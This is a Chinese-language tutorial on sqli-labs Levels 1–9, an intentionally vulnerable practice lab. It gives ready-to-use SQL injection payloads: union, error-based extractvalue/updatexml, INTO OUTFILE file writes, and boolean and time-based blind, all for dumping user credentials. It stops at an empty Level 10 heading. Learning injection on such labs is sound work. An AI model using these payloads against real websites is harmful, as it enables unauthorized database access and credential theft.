最详细sqli-labs平台前十关讲解

最基础sqli-labs平台sql注入语法讲解

最近也是沉迷于学习sql注入,越是了解越是发现其中的奥妙与乐趣,在这篇文章中主要是以sqli-labs平台的前十关为例子,记录一些sql注入方面的基础知识,方便以后sql注入的深入学习。

一、sql注入的简单介绍

sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,而且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。也就是说,只要满足两个条件,即可以判段存在sql注入漏洞:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的。
2.参数带入数据库查询:传入的参数拼接到sql语句中,且带入数据库查询。
通白一点讲,就是我们自己构造的sql语句中,参数对于数据库是有意义的,可以收到响应的。

下面的一些内容需要我们记住:
1.在mysql5.0版本后,mysql数据库中存放着一个“information_schema”的数据库,在该库中有三个表,分别是SCHEMATA、TABLES和COLUMNS。

  • schemata表存放着该用户创建的所有数据库的库名,在该表中记录数据库库名的字段名为schema_name,如图:
    在这里插入图片描述

  • tables表中存放着用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段名分别为table_schema和table_name,如图:
    在这里插入图片描述

  • columns表中存放着用户创建的所有数据库的库名,表名和字段名,而该表中记录数据库库名、表名和字段名的字段名分别为table_schema、table_name和column_name,如图:
    在这里插入图片描述

2.几个函数的作用需要记住:

  • database():返回当前网站使用的数据库库名。
  • version():返回当前mysql数据库的版本。
  • user():返回当前mysql的用户的用户名。
  • @@version_complie_os:返回当前操作系统类型。

二、sqli-labs平台的搭建

见另一篇文章《wampserver下sql注入平台sqli-labs的搭建》

二、实验

1.Less-1(single quotes)

提示说到这是一个单引号注入,什么是单引号注入?简单的说,就是传入的参数被一对单引号包围了。
以下面这条PHP语句为例:

$query="select * from tables where id = $_get['id'];

这条语句是通过get方法获取我们写入的参数id,然后再根据参数id执行其它语句,当我们传入参数id=1时,那么这条语句的实际执行为

select * from users where id = '1';

但是当我们在id=1后加入单引号后,明显语句变为

select * from users where id = 'id'';

那么,就会因识别不了参数id而提示语法错误或语法不匹配的信息。来到sqli-labs平台看一下。
当输入?id=1时,页面显示正常
在这里插入图片描述
当我们加一个单引号,输入?id=1’时,页面提示在“1”处使用正确的语法
在这里插入图片描述
当我们在后面再加一个“–+”时,页面又恢复正常。在这里“–+”就是注释符号,将后面的单引号和其它信息注释掉了,在语句中和我们输入的单引号共同组成一对单引号,所以页面正常显示。
我们知道在mysql语句中,“#”,“–”都可以表示注释,但是在sqli-labs平台中,只有“–+”能作为注释符号直接使用,原因可以阅读文章《sql注入中的–+注释问题探索》
在这里插入图片描述
(好嘞,废话说完了下面开始干活了)

我们可以很明显的看到,Less-1是将数据输出到页面的,所以我们可以使用union注入的方式

执行下面这条语句,发现页面和?id=1的结果一样。

?id=1'order by 1--+

在这里插入图片描述
解释一下:这条语句的意思就是查询当前表中id为1的数据,并按第一字段排序。那么反过来想,当我们访问的字段不存在时,页面会报错,也就是说我们可以通过这条语句查询当前表的字段数。

再次输入语句,页面也是和?id=1的页面一样,所以存在第三字段

?id=1'order by 3--+

在这里插入图片描述
输入语句,显示未知字段的错误,所以得出结论,当前表存在三个字段。

?id=1'order by 4--+

在这里插入图片描述
知道了表中的字段数,还要知道哪些字段是可以回显到页面上的,执行下面的语句

?id=-1'union select 1,2,3--+

在这里,由于代码只返回第一条结果,即id=1的内容,所以页面上不会显示union select获取的结果,所以我们需要将前面id的值设为空或者数据库中没有的id的值,比如-1。这样就会返回union select的结果了。
在这里插入图片描述
可以看到,返回的结果为2和3,意味着在原语句中第二、三字段的内容可以回显到页面上,所以在union select 1,2,3中,2和3的位置可以输入sql语句。

于是可以使用下面的语句得到当前数据库是“security”

?id=-1'union select 1,2,database()--+

在这里插入图片描述
知道了数据库security,下面要想办法知道这个数据库下的表都有什么,可以用这条语句,可以得到emails,referers,uagents,和users这四张表:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
解释一下这条语句的意思:
前面提到在information_schema数据库下存在着一张tables表,表中存放着用户创建的所有数据库库名和表名,而之前知道了当前数据库为security,所以只需要在tables表中使用查询语句查询table_schema字段也就是数据库名为security的对应表名。(下面用到的语句也都大同小异)
在这里插入图片描述
还有一点就是用到了group_concat()这个函数,它的作用通白一点将,就是将同一列的内容连接起来并当成一个字符串返回。为什么要用到这个函数呢?因为在原语句中,只会返回第一个字符串,也就是说,如果把这个函数去掉的话,页面只会打印“emails”这个表,那么加上了这个函数后,它将这一列都当成了一个字符串返回,所以就可以看到所有的表了。

在得到的表中有一张users表,很明显可以猜测这张表中存放着我们想要得到的用户名和密码,所以我们可以使用下面的语句查询该表中的字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

在这里插入图片描述

爆出来字段名为“id”,“usename”,“password”,目的达成了!

使用下面这个语句:

?id=-1'union select 1,group_concat(username),group_concat(password) from security.users--+

在这里插入图片描述

2.Less-2(intiger based)

根据提示,Less-2是一个数值型注入漏洞,那么什么是数值型注入呢?可以这样理解:
原语句类似于下面这条语句,就是说参数id不再被引号所闭合

select * from users where id = $id;

当我们传入参数时,所传入的参数必须是一个数值或者是一个被引号所闭合的数值,才不会出现语法错误,例如传入?id=1或者?id=’1‘均不会报错,如果原语句是单引号注入的话,传入?id='1’会发生报错。那么应该如何有效的区分单引号注入和字符型注入呢?

  • 对于单引号注入,只要我们传入的参数能使原语句中的引号形成有效的闭合,且闭合引号内的数值是有效的,就不会出现语法错误。利用这个思想可以使用下面的语句:
  ?id=1'and '1'='1 

在这里插入图片描述
这条语句在原语句中的实际执行为

select * from users where id=‘1’and’1’=‘1’;

很明显并没有语法错误,因为1=1为真,而where语句中的id=1也是真,所以页面会返回和id=1相同的结果。 如果传入这个参数:

  ?id=1'and'1'='2 

在这里插入图片描述
页面并没有显示任何内容,或者说显示了与id=1不同的内容,但是同样不会报错。

在经过上面两条语句测试后,如果成立,就是单引号注入。

  • 对于数值型注入,我们传入的参数不应有任何的引号或者传入被引号闭合的参数,那么就不会发生语法错误,利用这个思想可以用下面两条语句测试:
?id=1 and 1=1

在这里插入图片描述

?id=1 and 1=2

在这里插入图片描述
如果满足以上两个语句的测试结果,则可以判断为数值型注入。相应的我们也可使用?id='1'and'1'='1'?id='1'and'1'='2'这两条语句进行测试,效果一样。

(下面开始干活emo~)

还是使用union联合的方式进行注入实验,其实和上面单引号注入一样,只是在传入参数是不要加单引号就行了,所以可以使用下面的语句

?id=1 order by 3--+

在这里插入图片描述

?id=1 order by -4-+

在这里插入图片描述
确定还是三个字段
然后

?id=-1 union select 1,2,3--+

在这里插入图片描述
(还是啰嗦一句,因为数值型注入不会受到后面引号的影响,所以在这里的注释符“–+”也可以省略)

?id=-1 union select 1,2,database()--+

在这里插入图片描述

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

在这里插入图片描述

?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

3.Less-3(single quotes with twist)

根据提示这是一个被括号闭合的单引号注入,通过下面这条语句可以很清楚的理解这个注入类型。

select * from users where id =('$id')

所以说,当我们输入参数id时,既要保证单引号的闭合,还要帮助括号的闭合。
例如,当我们输入?id=1'以及?id=1'--+均会报错,并且在我们输入?id=1'时页面很明显的提示在“1”)附近出现语法错误。
在这里插入图片描述
而当输入?id=1')--+时,页面就不会报错。这可以作为推断该类型注入的依据。
在这里插入图片描述
至于实验过程,与上面两个实验的语句并无太大差别,只需要秉承引号和括号闭合的原则,即在引号后面再加一个单括号就行了。

?id=1')order by 3--+
?id=1')order by 4--+

在这里插入图片描述
在这里插入图片描述

?id=-1')union select 1,2,database()--+

在这里插入图片描述

?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述

?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

在这里插入图片描述

?id=-1')union select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

4.Less-4(double quotes)

根据提示,这是一个双引号注入,那么原语句应该类似是

select * from users where id="$id"

所以说当我们输入?id=1"时会报错,但是报的确是在"1"") LIMIT 0,1’ 附近有语法错误,所以猜测,原语句中,参数在被双引号闭合的同时又被一对括号闭合,那么在当我们输入?id=1"--+时同样也会报错,因为这样会使括号不闭合
在这里插入图片描述
猜测正确
在这里插入图片描述

所以说,在后台原语句应该类似于这样

select * from users where id=("$id")

那么注入过程就好说了,和上面的几个一样,就是在id=1后面加一个双引号和单括号就行了

?id=1")order by 3--+
?id=1")order by 4--+
?id=-1")union select 1,2,3--+
?id=-1")union select 1,2,database()--+
?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
?id=-1")union select 1,group_concat(username),group_concat(password) from users--+

其实上面四个可以分为两大类,一个是字符型注入,一个是数值型注入,但是归根到底还是参数闭合的问题。

5.Less-5(double injection-single quotes)

输入?id=1
在这里插入图片描述
(额…苦瓜脸)
页面是正常显示了,诶?但是就不在页面上返回正确结果,气不气…
没办法,只能接着试一试了。。
试着输入?id=1'
在这里插入图片描述
呀呵!它报错了,还告诉了你错误语法的位置(看到光了!)

其实提示已经告诉我们了,这一关是一个双查询注入,说白了就是带有select子查询语句的select查询语句,具体的讲的话,不是一两句话能说的明白的,网上有很多资料,可以自行去查阅,而且小编也没有全部整理明白(麻了…)。
至于解决方法的话,刚刚我们可以看到它只会回显报错信息,所以在这里我们可以使用报错注入的方法进行攻击。

报错注入攻击就是将查询语句融合到错误语句处,使得查询结果可以通过报错提示,显示到页面中。

其实报错注入的方法有很多种(里面的水很深…),其中最常见也是最多使用的是利用Xpath语法错误和concat+rand()+group_by()导致的主键重复两种方法,这里只介绍其中之一也是最简单容易掌握的Xpath语法错误的方法。


Xpath语言即为xml路径语言,是指一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。它的表达式一般为‘/x/xx/xxx’这个样子,其实就是类似于计算机中的文件路径,只不过这个的意思是在xml文档中的某结点的路径。

extractvalue()函数:使用 XPath 表示法从 XML 字符串中提取值。说白了就是根据Xpath路径,在xml文档里找到相应的节点,解析xml字符串并返回解析后的字符串。

extractvalue(xml_frag, xpath_expr)有两个参数,第一个参数xml_frag是指一段xml标记片段,它的格式是string。而第二个参数xpath_expr就是一个xpath表达式,即xml文档里的路径。其中第一个参数可以传入xml文档,第二个参数不能传入,用来当作查找路径。

那么来了,咋们要动手脚的地方就是这个xpth表达式。在正常使用extractvalue()函数时,xpath表达式本应该是“/x/xx/xxx”类似的。但是,如果第二个参数不是这样的格式,那么页面就会报错,并返回查询的结构。

正常的extractvalue()函数使用方法:

select extractvalue('参数1‘,’/x/xx');

注入的paload:

select extractvalue(‘参数1’,concat ('~','查询语句'));

这里利用了concat函数将一非“/"字符和查询语句连接在一起,那么就破坏了应该的xpath格式,这样就会报错了。如果不用一个非”/“字符连接的话,函数还是直接将查询语句默认为xpath格式。

(好嘞言归正传,下面进入正题)


获取当前数据库名:

?id=1'and extractvalue(1,concat('~',(select database())))--+

在这里第一个参数不一定用“1”,用2,3,4,a,asda等都行,只要是string格式的字符串就行。第二个参数也不一定非要用”~“,其它非”/"的字符都行,比如用“!”一样。
在这里插入图片描述
获取表名:

?id=1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

在这里插入图片描述
获取字段名:

?id=1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+

在这里插入图片描述
注意在这里有一点我们需要弄清楚。我们可以看到,通过上面那条payload得到的查询结果中,页面并没有返回所有的内容,可以数一数,刚刚好32位字符。这是因为extractvalue()函数能查询的字符串长度最多为32位,也就是只返回前32位。所以说,我们要想获得全部的查询结构,只能将查询结构分段,每段32位,然后再通过extractvalue()函数返回。我们可以使用substring函数,mid函数,limit函数等,在这里我们简单介绍一下substring函数。

substring(参数1,参数2)
参数1:要提取子字符串的字符串
参数2:提取的子字符串的开始位置
作用:从一个字符串中提取一段子字符串

例如,我们要从字符串“abcde”中提取子字符串“cde”

substring('abcde',3)

于是乎,不就有了嘛

substring('查询语句',1)

按照这个想法,那么我们就可以将payload改进一下。

?id=1'and extractvalue(1,concat('~',substring((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1),'~'))--+

在这里插入图片描述

在这条payload中,在使用concat函数时,还在查询结果的末尾连接了一个“~”字符,这个字符可以用来作为查询结果结束的标记。

那么用户名和密码也就有了

?id=1'and extractvalue(1,concat('~',substring((select group_concat(username) from users),1),'~'))--+

在这里插入图片描述

?id=1'and extractvalue(1,concat('~',substring((select group_concat(password) from users),1),'~'))--+

在这里插入图片描述


利用Xpath语法错误注入的方式还有一个函数,updatexml()函数
updatexml(参数1,参数2,参数3)
作用:用来更新xml文档中的片段
参数1:需要操作的片段,string格式
参数2:Xpath路径
参数3:查找替换的数据

这个函数的注入和extractvalue一样,都是对xpath做手脚,下面给出了它的payload:

?id=1'and updatexml(1,concat('~',substring(database(),1),'~'),1)--+
?id=1'and updatexml(1,concat('~',substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1),'~'),1)--+
?id=1'and updatexml(1,concat('~',substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1),'~'),1)--+
?id=1'and updatexml(1,concat('~',substring((select group_concat(username)from users),1),'~'),1)--+
?id=1'and updatexml(1,concat('~',substring((select group_concat(password)from users),1),'~'),1)--+
6.Less-6(double injection-double quotes)

这同样是双查询注入,只不过于与上面不同的是它的参数是被双引号闭合的。还是使用报错注入,下面直接给出了payload。

?id=1"and extractvalue(1,concat('~',substring(database(),1),'~'))--+  //库名
?id=1"and extractvalue(1,concat('~',substring((select group_concat(table_name)from information_schema.tables where table_schema=database()),1),'~'))--+  //表名
?id=1"and extractvalue(1,concat('~',substring((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1),'~'))--+   //列名
?id=1"and extractvalue(1,concat('~',substring((select group_concat(username) from users),1),'~'))--+  //用户名
?id=1"and extractvalue(1,concat('~',substring((select group_concat(password) from users),1),'~'))--+  //密码
7.Less-7(dump into outfile)

先输入id=1试试
在这里插入图片描述额…可以看到同样不会将正确结果返回页面,但是还多了一个use outfile的提示,让我们使用outfile语法。
再试试?id=1'
在这里插入图片描述
可以看到它报错了,还提示了错误位置。那么就然如此就仍然可以使用报错注入。
但是,这一关应该是不会提示错误位置的,因为之前在搭建平台的时候说过,wamp的版本已经不再支持php5旧版本,所以是在gitcode网站上下载的大佬改好的php7版本的sqli。至于这里的话,应该是大佬修改的时候没有注意吧。所以,在这一关也可以继续练习一下报错注入,但是我们最主要的还是根据提示使用outfile语法。(这里的提示信息当作没看见哈…嘘…)

先简单介绍一下outfile语法的使用

select ····· into  outfile '路径'

outfile的作用就是将数据导出到服务器文件或者导出到指定的位置。
刚才说到,这一关应该是正确结果与错误位置都看不到才对,那么在页面上看不到,我们可以将查询结果导出到另外的一个文件中,再浏览不就行了吗。思路有了,那么开始干活。


首先我们得要清楚参数的闭合情况,这样我们才能写入查询语句嘛。没别的好办法,只能慢慢尝试。

先看看是不是单引号闭合的?id=1'and '1'='1
在这里插入图片描述
可以看到页面显示正常,那么再加个注释看看?id=1'and '1'='1--+
在这里插入图片描述
页面提示语法错误了,那么八成就是单号闭合的了。
再看看还有没有其它闭合?id=1'--+
在这里插入图片描述
报语法错误了,说明在单引号外面又被包了一层。

接着猜测在单引号外面又有一层小括号,所以?id=1')and ('1')=('1
在这里插入图片描述
页面正常显示,那么再注释掉后面?id=1')and ('1')=('1--+
在这里插入图片描述
报语法错误了。en…那就是又包了一层小括号呗。

真的没有了了嘛?再看看呗…?id=1')--+
在这里插入图片描述
报语法错误了…麻了…还有…

这里再盲猜一手小括号?id=1'))and(('1'))=(('1
在这里插入图片描述
页面显示正常了,哎呀妈呀,我猜的可真准,哈哈哈哈哈哈。
再再注释掉?id=1'))and(('1'))=(('1--+
在这里插入图片描述
报语法错误了,又来了,再再看看外面还有没有呗?id=1'))--+
在这里插入图片描述
太棒了,终于不报错了,看来参数就是被一个单引号两个小括号闭合了(('id'))

(哎呀妈呀,我真棒,一猜一个准。别问我为啥这么厉害,因为我只是个传说。。。。)

咳咳,其实咱们在现实中猜测参数闭合情况时,如果没有其它提示信息,那么也就只能像这样一个一个尝试了。

(下面就开始使用outfile进行注入攻击了,想得美,不告诉你,还有一点知识需要我们弄明白…)

在使用outfile之前,有两个参数的作用及配置:
(1)secure_file_priv:用来限制的导入导出,也可以理解为数据导入导出的默认目录

  • secure_file_priv的值为null时:表示限制数据库不允许导入导出
  • 当secure_file_priv的值为特定目录时:该目录为数据库导入导出数据的默认目录,也就是说,导入数据只能从该目录导入,而导出数据也只能导出到这个目录中。
  • 当secure_file_priv的值没有具体值时:表示不对数据库的导入导出做限制

(2)datadir:指定MySQL的数据文件的存放目录,数据库文件即我们常说的 mysql data 文件。当secure_file_priv为空不对数据库导入导出做限制时,如果我们在导出数据且没有指明具体目录时,数据文件会默认存放在data目录下的当前数据库文件中。

(好,我们来具体看一下.)
由于Less-7不能显示查询结果,所以我们从Less-1中查询一下这两个参数的值

?id=-1'union select 1,@@secure-file-priv,@@datadir--+

在这里插入图片描述
这里显示出了datadir的路径,还可以看到secure_file_priv的值为一个指定的目录"D:\wmap\tmp",也就是说如果我们在导出数据时,没有导出的这个路径,那么是会报错的,我们来看一眼。

?id=-1%27union select 1,2,database() into outfile 'database.php'--+

在这里插入图片描述
报了“The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”的错误。那我们再将文件保存到"D:\wmap\tmp"试试。

?id=-1%27union select 1,2,database() into outfile 'D:\\wmap\\tmp\\database.php'--+

注意在代码中的路径要用双斜杠或者反斜杠
在这里插入图片描述
保存成功了。

如果说不想保存到这个目录中,我们可以把secure_file_priv的值设置为空。修改secure_file_priv和datadir的值在不同的环境中方法不一样,这里只介绍在wamp环境下。
在windows中修改这两个参数的值,都在配置文件my.ini中。
在这里插入图片描述
在文件中找到secure_file_priv,注释掉原来的值,然后将该参数设置为空,如下:
在这里插入图片描述
保存后,重启一下MySQL服务器就行了。

如果想修改一下datadir的值,同样也是在该配置文件中,这里就不作修改了。
在这里插入图片描述
这样就可以将数据导出到任何目录中了。

?id=-1'union select 1,2,database() into outfile'c:/database.php'--+

在这里插入图片描述


好,下面就可以过第七关了
有用前面机关中,这个平台的数据库结果基本被我们摸清了,所以在这里就直接查询用户名密码了

?id=-1')) union select 1,2,group_concat(username) from users into outfile 'c:/users.php'--+

在这里插入图片描述
我们可以看到,虽然页面仍然报语法错误,但是在c盘处以及创建了users.php文件,保存了用户名信息。
在这里插入图片描述

同理,密码信息也是:

?id=-1')) union select 1,2,group_concat(password) from users into outfile 'c:/password.php'--+

在这里插入图片描述

8.Less-8(blind-boolian based-single quotes)

?id=1试试水
在这里插入图片描述
额…还是没有返回查询结果啊
再加个单引号试试?id=1'
在这里插入图片描述
好家伙,啥都没有了…
再把单引号后面注释掉看看??id=1'--+
在这里插入图片描述
页面又正常了,那这八成是个单引号闭合的参数了
经过前面几关介绍的方法最后可以确定,这就是一个单纯的单引号闭合参数。但是它正确的查询结果和错误提示均不返回页面。又麻了…

再试试?

?id=1'and '1'='1

在这里插入图片描述

?id=1'and '1'='2

在这里插入图片描述

?id=-1

在这里插入图片描述
好吧,最终可以确定,页面只有两种状态,当语句正确且能查询到结果时,页面返回“you are in …"。当语句错误或者查询不到结果时,页面不返回任何信息。

其实最简单的方法,还是和第7关一样,使用outfile语句将查询结果导出到外部文件中。但是,在这一关主要还是介绍一种新的注入方式——布尔型盲注。

什么是布尔型盲注,是指在页面没有返回信息,只有正确和错误两种形态时(比如说现在),通过构建逻辑表达式的sql语句来判断数据的具体内容。

说白了就是所有数据全靠你猜,然后页面只会告诉你"是"与”不是“。

先介绍几个函数:

  • length() :返回字符串长度
  • count():返回返回查询语句检索到的行中非NULL值的数目。
  • substr() :截取字符串(其实和上面用到的substring一样,所以说在这里使用substring也行)
    例如:substr(abcdef,3,2) :返回”cd“,从第三个字符c开始,长度为2,所以是”cd“。
  • mid() :截取字符串的一部分值(和substr用法一样)
  • left() :截取字符串左边的几个字符 例如:left(abcdef,3) 返回”abc“
  • ascii():返回字符串最左边的字符也就是第一个字符的ASCII值
  • ord():返回一个字符的ASCII码值
  • chr():将ASCII码值转化为字符串
  • limit:这也是一个sql语句中比较重要的函数,具体讲的话,还得要嘚嘚一大堆,在这里只是提一下简单的使用,具体的用法还是要去网上另行查阅。
    例如:select * from users limit 0,1 //检索查询结果的第一行。limit
    a,b后面的两个参数a和b都必须是整数,a是指检索的开始位置,但是与substr不同的是,limit的下标是从0开始的,而substr是从1开始的。b则是指简述的长度。

上面这些函数都可以应用到盲注当中去,当然,在这里并不会全部用到,使用其中的几个就够了。

(话不多说,下面开始整活了…)


判断数据库长度

?id=1' and length(database())>6 --+

在这里插入图片描述
页面有回显,证明数据库名长度大于6

?id=1' and length(database())>8 --+

在这里插入图片描述
没有回显,证明数据库名长度小于等于8

?id=1' and length(database())>7 --+

在这里插入图片描述
有回显,证明数据库名长度大于7小于等于8,所以就应该是8了
在这里插入图片描述
知道数据库名长度是8了,那么下面就要猜解数据库名了

?id=1'and left(database(),1)>'q'--+

在这里插入图片描述
有回显,证明数据库名的第一个字母大于“q”。

?id=1'and left(database(),1)>'s'--+

在这里插入图片描述
没回显,证明数据库名的第一个字母小于等于”s”

?id=1'and left(database(),1)>'r'--+

在这里插入图片描述
有回显,证明数据库名的第一个字母大于“r",小于等于“s",那就应该是”s“了。

?id=1'and left(database(),1)='s'--+

在这里插入图片描述
知道了第一个字母是“s“,那么下面接着猜解第二个字母,由于我在这里使用的是left函数,所以就有了下面的payload。

?id=1'and left(database(),2)>'sd'--+

在这里插入图片描述
有回显,证明数据库的第二个字母大于”d“

?id=1'and left(database(),2)>'se'--+

在这里插入图片描述
没回显,证明第二个字母小于等于“e”,那就应该是“e”没跑儿了

?id=1'and left(database(),2)='se'--+

在这里插入图片描述
同样的道理,直到最后可以尝试出数据库的名字为“security”。

那下面就开始解表名了。

首先要尝试出security数据库中一共有多少个表

?id=1'and (select count(table_name) from information_schema.tables where table_schema=database()) >2--+

在这里插入图片描述
有回显,证明该数据库下的表数大于2

?id=1'and (select count(table_name) from information_schema.tables where table_schema=database()) >4--+

在这里插入图片描述
没回显,证明表数小于等于4

?id=1'and (select count(table_name) from information_schema.tables where table_schema=database()) >3--+

在这里插入图片描述
有回显,证明表数大于3,小于等于4。那就应该是4了

?id=1'and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

在这里插入图片描述
知道security数据库下有4张表,还要知道每张表的表名长度。一个个的试吧。

?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5--+

在这里插入图片描述

有回显,证明第一张表的表名长度大于5

?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6--+

在这里插入图片描述

没有回显,证明第一张表的表名长度小于等于6,那就是6了

?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

在这里插入图片描述

在这里使用length()函数时,要留意一下是两个小括号,一个小括号是length()函数本身的,一个小括号是将select查询语句括起来作为一个整体。

同理,可以依次试出剩下三张表的表名长度为8,7,5,至于过程一样,就是改变一下limit的第一个参数就行了。

?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7--+
?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5--+

知道每一张表的表名长度了,那么就要猜解表名了,还是一个一个试呗(麻爪了…)

?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'d'--+

在这里插入图片描述
有回显,证明第一个表的名子的第一个字母大于“d”

?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'e'--+

在这里插入图片描述
没有回显,证明第一个表的名字的第一个字母小于等于“e”,那就应该是“e”了。

?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

在这里插入图片描述
剩下的就慢慢试…直到试出第一张表的名字为“emalis”

下面试第二张表。

?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)>'q'--+

在这里插入图片描述
有回显,第二张表的第一个字母大于“q”

?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)>'r'--+

在这里插入图片描述
没回显,第二章表的第一个字母大于“q”小于等于“r”,那就是“r”了

?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'--+

在这里插入图片描述
同样的方法,一直尝试出第二张表表名为“referers”,第三张表表名为“uagents”,第四张表表名为“users”。

好了,users表出来了,下面猜解users表的列名了

还是原来的过程,下面的就不再写出猜测过程,而是直接写出最后的猜测结果。先猜解出该表中出一共有3列

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+

在这里插入图片描述

下面猜解每一列的列名长度
过程和之前一样,这里我就不多说了,尝试出后,每列的列名长度分别为2,8,8

?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+
?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8--+
?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8--+

(还好列名不多…)

那么同样的方法,我们可以尝试得到这三列的列名分别为"id",“username”,“password”

?id=1'and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2)='id'--+
?id=1'and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8)='username'--+
?id=1'and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),8)='password'--+

(坚持住,马上就要成功了…)

下一步,尝试出用户字段和密码字段的数据的行数

?id=1'and (select count(username) from users)=13--+
?id=1'and (select count(password) from users)=13--+

下一步,尝试出每一行数据的长度,就可以猜解出数据了。以第一行数据为例:
可以猜解出第一个用户名密码都是“dumb”

?id=1'and length((select username from users limit 0,1))=4--+
?id=1'and length((select password from users limit 0,1))=4--+
?id=1'and left((select username from users limit 0,1),4)='dumb'--+
?id=1'and left((select password from users limit 0,1),4)='dumb'--+

按照这个猜解过程,可以尝试出所有的用户名和密码,可以感觉到纯手工布尔盲注的话还是非常消耗精力的。所以在现实中我们可以借助其它自动化工具,或者可以使用burp suit帮助爆破,或者可以使用python脚本等,这里就不再介绍了,感兴趣的可以在网上查阅资料。

9.Less-9(blind-time based-single quotes)

这一关的话,我们发现无论语法错误与否,它的页面都是返回“you are in…”,很显然之前的方法就不能用了。那么在这里就要引入一个新的注入方法了——时间盲注。

时间盲注就是通过输入时间敏感性的语句,通过页面的反应时间来判断查询结果的正确与否。比如说如果查询结果正确,则页面会有显著延迟;如果查询结果不正确,那么页面正常显示。其实这和布尔型盲注类似,只不过判断查询结果正确与否的方法变成了页面的延迟与否。说白了,还是靠你聪明的头脑来猜啊…

简单介绍两个会用到的函数:

  • sleep(n):可以让语句的运行时间增长n秒钟。
  • if(expr1,expr2,expr3):如果expr1是TRUE,则if()函数的值返回expr2,否则返回expr3。

那么这两个简单的函数,便构成了我们时间型注入的核心。

其实通过提示或者查看源码,都能知道这是一个单引号闭合的参数,那要是在现实生活中不知道呢?那就是试呗…在前面已经说过,当没有任何提示信息时,如何尝试出参数的闭合情况,在这里只不过是把那些尝试的查询语句放到if()函数里作为参数就行了,过程就不多说了,其实payload也一样,就是将判断语句放到if()函数里,下面就直接上payload了。

?id=1' and if(length(database())>7,sleep(6),1)--+

在这里插入图片描述
可以看到页面运行延迟了6秒钟,所以上面的判断语句正确,证明数据库名长度大于7。

?id=1'and if(length(database())>8,sleep(6),1)--+

在这里插入图片描述

看到页面延迟明显小于1秒钟,故上面的判断语句不正确,所以数据库名长度小于等于8,则数据库名长度等于8。

?id=1'and if(left(database(),1)>'r',sleep(6),1)--+

在这里插入图片描述
payload运行时间延长了6秒,所以上面的select判断语句正确,则数据库名的第一个字母大于“r”

?id=1'and if(left(database(),1)>'s',sleep(6),1)--+

在这里插入图片描述
看到页面延迟明显小于1秒,所以上面select判断语句不正确,则数据库名第一个字母大于“r”,小于等于“s”,故数据库名第一个字母为“s”

同理可得数据库名为“security”

?id=1'and if(left(database(),8)='security',sleep(6),1)--+

在这里插入图片描述
包括下面的猜解表名,字段名以及数据的过程和上面的方法一样,就不再详细讲解。

?id=1'and if((select count(table_name)from information_schema.tables where table_schema=database())=4,sleep(6),1)--+   //猜解security数据库下表的数目
?id=1'and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1 ))=5,sleep(6),1)--+  //判断users表的表名长度
?id=1'and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(6),1)--+  //猜解users表名
?id=1'and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(6),1)--+ //判断users表下的列数
?id=1'and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8,sleep(6),1)--+ //判断username字段名的长度
?id=1'and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8,sleep(6),1)--+ //判断password字段名的长度
?id=1'and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8)='username',sleep(6),1)--+   //判断第二列的列名
?id=1'and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),8)='password',sleep(6),1)--+   //判断第三列的列名
10.Less-10(blind-time based-double quotes)

